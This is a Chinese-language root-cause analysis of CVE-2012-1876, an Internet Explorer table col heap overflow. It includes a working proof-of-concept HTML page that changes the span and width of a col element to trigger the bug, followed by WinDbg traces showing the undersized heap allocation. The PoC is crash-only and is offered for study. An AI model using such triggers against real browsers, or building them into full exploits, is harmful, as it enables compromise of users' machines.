CVE-2012-1876-PoC分析
Microsoft Internet Explorer 6 through 9, and 10 Consumer Preview, does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by attempting to access a nonexistent object, leading to a heap-based buffer overflow,
aka "Col Element Remote Code Execution Vulnerability,"
as demonstrated by VUPEN during a Pwn2Own competition at CanSecWest 2012.
Windows 7 x86 sp1
IE 8
POC
<html>
<body>
<table
style="table-layout:fixed"
>
<col
id="132"
width="41"
span="1"
>  </col>
</table>
<script>
function over_trigger()
{
var obj_col = document.getElementById("132");
obj_col.width =
"42765";
obj_col.span =
1000;
}
setTimeout("over_trigger();",1);
</script>
</body>
</html>
开启页堆
gflags.exe -i iexplore.exe +hpa
加载POC,windbg并不会捕捉到异常,因为异常是在子进程中发生的,需要设置windbg支持子进程调试,开启子进程调试
.childdbg 1
加载程序运行:
向上回溯:
追溯edi来源
69700a1a
8bff mov edi,edi
69700a1c
55 push ebp
69700a1d
8bec mov ebp,esp
69700a1f
8b08 mov ecx,dword ptr [eax]
69700a21
53 push ebx
69700a22
8b5d08 mov ebx,dword ptr [ebp+8]
69700a25
57 push edi
69700a26
8bc1 mov eax,ecx
69700a28
83e00f
and eax,0Fh
69700a2b
8d7e18 lea edi,[esi+18h]
没有对esi处理的代码,对调用函数下断点,确保已经加载欲调试的子进程。
sxe ld:mshtml
bp mshtml!CTableLayout::CalculateMinMax
mshtml!CTableLayout::CalculateMinMax:
64bfa078
8bff mov edi,edi
64bfa07a
55 push ebp
64bfa07b
8bec mov ebp,esp
64bfa07d
81ec98000000
sub esp,98h
64bfa083
53 push ebx
64bfa084
8b5d08 mov ebx,dword ptr [ebp+8] ss:0023:03e3c484=05fb2ea8
0:005> dd poi(ebp+8)
05fb2ea8
64af9960
071eef30
05bfdfb8
64cae3b8
05fb2eb8
00000001
00000000
0108080d ffffffff
05fb2ec8
00000000
00000000
00000000 ffffffff
05fb2ed8
000182b8
0000a7f8
00000000
00000000
05fb2ee8
00000000
00412802
00000000
00000000
05fb2ef8
00000000
00000001 ffffffff ffffffff
05fb2f08 ffffffff ffffffff 64afa594
00000004
05fb2f18
00000004
06a6bff0
64afa594
00000004
0:005> ln 64af9960
(64af9960) mshtml!CTableLayout::'vftable'
|
(64af9aa0) mshtml!CTableLayoutBlock::`vftable'
Exact matches:
mshtml!CTableLayout::`vftable' = <no type information>
参数一this指针引用了 mshtml!CTableLayout::'vftable'
也就是 table 中的对象
继续向下向下运行
ebx+54h 引用了this指针,也就是引用了 table标签 ,值为1,span属性值的和。称其为spannum
继续向下分析:
若 spancmp >= spannum 跳转, 这里0<1 , 不跳转。
继续向下 , 分析 EnsureSizeWorker 函数, 大概就是
edi来自 CTableLayout::CalculateMinMax
CTableLayout + 0x90 + dwBytes(0xc) .
上面可以看出分配了 0x70 大小的堆, CTableLayout+0x9c
指向的地址。
先总结一下:
CTableLayout::CalculateMinMax
函数的第一个参数是 CTableLayout
对象,即table标签在内存的对象。CTableLayout+0x54
span属性的值 spannum。CTableLayout+0x90
对象,+c 保存申请的内存CTableLayout+0x94
用于与 spannum 作比较的spancmp,当 spancmp <<2 后小于 spannum 才分配堆块。我们也直接g , 运行向下看。
当分配完内存后,执行poc中的over_trigger函数时,会再一次断在CTableLayout::CalculateMinMax 函数中,跟进去看下spannum和spancmp的值。ebx+5x 即 spannum = 1,ebx+94 即 spancmp = 4,(4>>2)为1==1,不发生跳转,不分配内存
在 mshtml!CTableCol::GetAAspan 下断点,让它第二次获取span值的时候断下来。
第一次 GetAAspan 获取的span值为1,第二次获取 1000。
上图可以看书span最大为1000。
继续分析到 CWidthUnitValue::GetPixelWidth
得到 width*100
继续分析:
CTableColCalc::AdjustForCol
函数会向申请的内存写入 width*100
, 比如 width = 41
,就写入 0x1004
,每次写入0x1c大小,一共写入0x3e8次。
但是上面 EnsureSizeWorker
函数只申请了 4*0x1c = 0x70 大小的空间。导致了溢出。
http://whitehatck01.blogspot.com/2018/03/cve-2012-1876-internet-explorer_17.html
http://eternalsakura13.com/2018/03/10/cve2012_1876/
http://pwdme.cc/2017/10/31/cve-2012-1876/